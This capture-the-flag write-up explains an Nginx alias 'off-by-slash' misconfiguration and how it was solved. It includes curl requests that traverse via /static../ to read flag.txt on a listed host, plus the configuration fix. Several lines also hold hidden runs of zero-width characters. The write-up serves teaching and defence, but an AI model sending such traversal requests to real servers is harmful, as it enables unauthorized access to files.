DevOps 300k/s

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: nginx_alias_path_traversal, off_by_slash_exploitation, source_code_analysis

Summary

Walkthrough of the CUSTOM Web DevOps 300k/s. Task: Nginx configuration provided with location/alias off-by-slash misconfiguration. Solution: exploited path traversal via /static../ to read flag.txt outside the intended directory.

Description

Говорят, хороший DevOps зарабатывает 300k/s, но даже у лучших иногда один лишний или недостающий символ может открыть доступ туда, куда заходить не планировалось.

English summary: A web server is running at 62.173.140.174:16120. A zip archive is provided containing the server's source files: index.html (a fun page about a DevOps earning 300K per nanosecond), nginx.conf (the Nginx configuration), and script.js (JSFuck-obfuscated JavaScript — a red herring). The goal is to exploit a misconfiguration in nginx.conf to read files outside the intended web root. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Analysis

The provided nginx.conf contains a classic Nginx alias path traversal vulnerability (off-by-slash):

 nginx read-only • copy allowed Copy
location /static {
    alias /var/www/app/static/;
}

The vulnerability: location /static has no trailing slash, but alias /var/www/app/static/ has a trailing slash. This mismatch allows path traversal.

When Nginx processes a request matching location /static, it strips the matched prefix (/static) and appends the remainder to the alias path. Without the trailing slash on the location, a request to /static../ is valid because Nginx matches /static and treats ../ as the remaining path. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The challenge description itself hints at this: "один лишний или недостающий символ может открыть доступ" — one extra or missing character (the trailing slash) can open access to unintended locations.

The JSFuck-obfuscated script.js is a deliberate red herring to waste time on deobfuscation.

Solution

Step 1: Extract and analyze provided files

 bash read-only • copy allowed Copy
unzip devops_300k.zip
# Found: index.html, nginx.conf, script.js

Step 2: Identify the vulnerability in nginx.conf

The off-by-slash misconfiguration:

• location /static — no trailing slash
• alias /var/www/app/static/ — has trailing slash ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

This is a well-known Nginx misconfiguration that allows directory traversal.

Step 3: Exploit the path traversal

 bash read-only • copy allowed Copy
# Test traversal — 403 confirms the path works (directory listing denied)
curl http://62.173.140.174:16120/static../
# Response: 403 Forbidden

# Read flag.txt one directory up from static/
curl http://62.173.140.174:16120/static../flag.txt
# Response: CODEBY{REDACTED}

How the traversal works

1. Request: /static../flag.txt
2. Nginx matches location /static (longest prefix match, no trailing slash required)
3. Remaining path after stripping prefix: ../flag.txt
4. Nginx constructs filesystem path: alias + remaining = /var/www/app/static/ + ../flag.txt
5. Resolved path: /var/www/app/static/../flag.txt → /var/www/app/flag.txt ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The fix would be to add a trailing slash to the location directive:

 nginx read-only • copy allowed Copy
location /static/ {
    alias /var/www/app/static/;
}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Takeaways / Lessons

• Mastering nginx_alias_path_traversal, off_by_slash_exploitation, source_code_analysis was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2026-05-02 • CUSTOM • DevOps 300k/s • Difficulty: Easy